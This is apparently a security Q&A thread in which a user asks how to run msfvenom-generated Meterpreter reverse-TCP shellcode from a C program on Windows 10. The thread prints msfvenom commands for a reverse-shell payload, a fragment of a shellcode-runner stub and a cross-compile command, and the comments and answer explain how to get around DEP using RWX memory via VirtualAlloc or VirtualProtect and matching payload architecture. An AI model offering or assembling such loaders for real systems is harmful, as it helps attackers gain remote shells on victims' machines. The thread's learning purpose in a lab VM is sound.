This is obviously for educational purposes. I've been interested in learning more about malware and how it works.

I'm trying to get a meterpreter reverse tcp shell working on windows 10 but more importantly executing it as shellcode from within a C program.

I've tested that my meterpreter reverse shell works by generating a standalone PE with:

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o reverse_shell.exe

When I execute this on my windows 10 VM, no problem, a session is opened.

Now, what I'd like to do, is execute msfvenom produced shellcode from within a c program.

To obtain the shellcode I'm using:

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f c

My c source looks like this:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =

int main (int argc, char **argv) {
  int (*ret)() = (int(*)())shellcode;

And I'm cross compiling on kali linux with:

x86_64-w64-mingw32-gcc rev_shell.c -o rev_shell.exe

Executing on my windows VM only yields me a crash in the form of: "rev_shell.exe has stopped working"

I am fairly new to c and the windows ecosystem but I assume that this sort of behavior could appear malicious. Is windows shutting down my execution? Is something wrong with my shell or c code?

  • 1
    You are using function pointer and executing shell code through it. It won't work on DEP protected systems. Use the VirtualAlloc, VirtualProtect, and CreateRemoteThread APIs to allocate, RWX, and then execute the shell code. Since it is for educational purposes, I would left the rest to you.
    – void_in
    Jan 2, 2018 at 8:09
  • In normal gcc -zexecstack compilation flag or making the shellcode const should do the job.
    – sudhackar
    Jan 3, 2018 at 8:31
  • @sudhackar With the code I posted or void_in's suggestion. I.e if I used that gcc flag my shellcode will execute on a DEP protected system such as windows 10?
    – ucklvs
    Jan 5, 2018 at 11:46
  • I have never cross compiled for windows. Making the shellcode const usually puts it in the .text segment. Give both options a try. VirtualProtect will work for sure, however It'll take a couple of Winapi calls.
    – sudhackar
    Jan 5, 2018 at 12:38
  • Also I think your shellcode is for x86 and you're compiling for x86-64.
    – sudhackar
    Jan 5, 2018 at 12:51

1 Answer 1


As was mentioned in the comments, you have a couple of different problems:

  1. You're using 32-bit shellcode in a 64-bit binary. This will have problems because it is likely to refer to the stack pointer as esp instead of rsp, etc. You should use the windows/x64/meterpreter/reverse_tcp payload instead, or produce a 32-bit binary (which will run fine on a 64-bit Windows system, as they have backwards compatibility).
  2. Your code will be placed in the stack of the application, leading to DEP preventing it from being executable. You'll need to VirtualAlloc memory that is both writable and executable and copy your shellcode into it before executing. You don't need to create a new thread to just have it execute as the main body of your executable. There's a great example of doing just this.
  • Thank you. Interestingly enough, I haven't gotten a session to come through with meterpreter. I have however gotten a message box to pop up so proof of concept, accepted. If you have any idea why the various meterpreter payloads (other than messagebox) aren't working I'm all ears.
    – ucklvs
    Jan 13, 2018 at 6:05
  • FWIW the article linked seemed to indicate DEP still applies when you compile a 64 bit executable. Generating a 32 bit payload seemed to work
    – n00b
    Jun 24, 2020 at 22:14

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .